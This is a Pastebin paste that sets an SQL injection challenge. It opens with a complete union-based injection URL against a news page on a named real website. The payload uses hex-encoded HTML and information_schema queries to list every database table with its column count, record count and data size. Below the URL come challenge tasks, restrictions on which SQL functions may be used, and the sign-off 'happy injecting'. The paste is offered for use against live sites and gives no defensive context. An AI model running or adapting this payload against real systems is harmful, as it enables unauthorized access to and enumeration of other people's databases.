Advertisement
bilasi

Totals Records Count (Saikat Bro)

Jun 23rd, 2016
512
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
MySQL 1.63 KB | None | 0 0
  1. http://www.valleycatholiconline.com/news.php?id=20)) and false union select CONCAT(0x7e,0x223e,0x3c62723e,0x3c62723e,0x3c62723e,0x3c62723e,0x3c2f62723e,0x3c2f74723e,0x3c7461626c653e,0x3c666f6e742020636f6c6f723d22707572706c65223e3c68746d6c20353e3c62723e3c623e3c693e3c666f6e7420636f6c6f723d677265656e3e5334214b34542048657265203c2f666f6e743e3a3a20,0x3c666f6e7420636f6c6f723d707572706c653e,current_date(),0x3c2f666f6e743e,0x3c6f6c2073746172743d2231223e,(SELECT(@xy)FROM(SELECT(@xy:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@xy:=CONCAT(@xy,0x3c6c693e,@xyz:=table_name,0x3c2f666f6e743e3c666f6e7420636f6c6f723d22677265656e223e202b4e6f204f6620436f6c756d6e73203d20,(select count(column_name) from information_schema.columns where table_name=@xyz),0x3c666f6e7420636f6c6f723d6d6167656e74613e207e7e546f74616c205265636f72643d20,ifnull(table_rows,0),0x3c666f6e7420636f6c6f723d626c75653e207e7e53697a65206f6620446174613d20,(data_length),0x203c666f6e7420636f6c6f723d7265643e423c2f666f6e743e,0x3c2f666f6e743e3c666f6e7420636f6c6f723d22707572706c65223e,0x3c2f6c693e))))xy)),2,3,4,Null,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- -
  2.  
  3.  Tasks :
  4. ==========
  5. 1. Print Your Name with Date
  6. 2. Print all the Tables & for each Table show Total no of Columns, Total Record && Total Size of Data
  7. 3. Every Table will appear with a Counting number
  8.  
  9. N.B : See my POC for better understanding
  10. && PM me your syntax
  11.  
  12. Rules :
  13. 1. You are not allowed to use group_concat()/ concat_ws/ LPAD / RPAD / Replace and (%) in your query
  14. 2. You can use CONCAT but not more than 2 times
  15. happy injecting'
  16. my proof
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement